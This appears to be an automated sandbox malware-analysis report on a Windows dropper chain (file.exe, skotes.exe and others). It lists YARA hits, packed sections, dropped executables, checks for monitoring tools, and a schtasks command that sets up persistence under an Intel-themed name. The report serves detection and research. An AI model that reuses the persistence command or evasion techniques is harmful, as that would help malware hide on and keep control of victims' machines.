Source: Yara match	File source: 13.2.kz8ZdyP.exe.5260000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.kz8ZdyP.exe.3add790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2486574208.0000000003543000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2579288387.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2499361350.0000000005A90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2583286972.0000000005260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zudFSfy.exe PID: 2144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kz8ZdyP.exe PID: 7280, type: MEMORYSTR

Source: random[1].exe0.6.dr

Static PE information: 0xC03B6D70 [Sun Mar 13 18:41:52 2072 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: e56fffc2ce.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1f1d7e should be: 0x1e35a0
Source: ac68c6b737.exe.6.dr	Static PE information: real checksum: 0x1f1d7e should be: 0x1e35a0
Source: kz8ZdyP.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x114703
Source: file.exe	Static PE information: real checksum: 0x2dc28a should be: 0x2e1d61
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2dc28a should be: 0x2e1d61
Source: 96ae609d19.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x75713
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: zudFSfy[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: 641d24797a.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: zudFSfy.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x75713
Source: kz8ZdyP[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x114703

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: qnusxmvo
Source: file.exe	Static PE information: section name: fqlahttk
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: qnusxmvo
Source: skotes.exe.0.dr	Static PE information: section name: fqlahttk
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: alcvhdaz
Source: random[1].exe1.6.dr	Static PE information: section name: vjrkdbwz
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: ac68c6b737.exe.6.dr	Static PE information: section name:
Source: ac68c6b737.exe.6.dr	Static PE information: section name: .idata
Source: ac68c6b737.exe.6.dr	Static PE information: section name:
Source: ac68c6b737.exe.6.dr	Static PE information: section name: alcvhdaz
Source: ac68c6b737.exe.6.dr	Static PE information: section name: vjrkdbwz
Source: ac68c6b737.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FD91C push ecx; ret	0_2_007FD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F1359 push es; ret	0_2_007F135A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E push 1E0398E1h; mov dword ptr [esp], edx	0_2_008F7CEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E push 3A0F0400h; mov dword ptr [esp], ebx	0_2_008F7DA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E push ebx; mov dword ptr [esp], ecx	0_2_008F7DA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E push 5DDA75A3h; mov dword ptr [esp], ebx	0_2_008F7E41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E push ebp; mov dword ptr [esp], 4FAF3BEEh	0_2_008F7ED0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B8D91C push ecx; ret	1_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B8D91C push ecx; ret	2_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8D91C push ecx; ret	6_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BADEDB push ss; iretd	6_2_00BADEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8DFC6 push ecx; ret	6_2_00B8DFD9
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D114C8 push esi; iretd	7_2_04D114CA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D13554 push 685C04CFh; iretd	7_2_04D1355A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D12658 pushad ; iretd	7_2_04D1265A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D1265B pushad ; iretd	7_2_04D1265E
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D1265F pushad ; iretd	7_2_04D12662
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D1367C push 691804CFh; iretd	7_2_04D13682
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D12773 pushad ; iretd	7_2_04D1277A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D11088 push ebx; iretd	7_2_04D1109A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F03374 push 69C84589h; ret	7_2_09F03379
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0331B push 69C84589h; ret	7_2_09F03320
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0B2D0 push ebp; ret	7_2_09F0B2DE
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0AD28 push esp; ret	7_2_09F0AD36
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0ACE9 push ebp; ret	7_2_09F0ACF6
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F037BE push 69C84589h; ret	7_2_09F037C3
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0AF19 push ebp; ret	7_2_09F0AF26
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F07613 push ebx; retf	7_2_09F0762A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_031D5946 push ss; retf	9_2_031D594F

Source: file.exe	Static PE information: section name: entropy: 7.987026021929319
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.987026021929319
Source: zudFSfy[1].exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: zudFSfy.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: kz8ZdyP[1].exe.6.dr	Static PE information: section name: .text entropy: 7.728302109295055
Source: kz8ZdyP.exe.6.dr	Static PE information: section name: .text entropy: 7.728302109295055
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.97763924592368
Source: random[1].exe1.6.dr	Static PE information: section name: alcvhdaz entropy: 7.952386311875822
Source: ac68c6b737.exe.6.dr	Static PE information: section name: entropy: 7.97763924592368
Source: ac68c6b737.exe.6.dr	Static PE information: section name: alcvhdaz entropy: 7.952386311875822

Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kz8ZdyP[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	File created: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
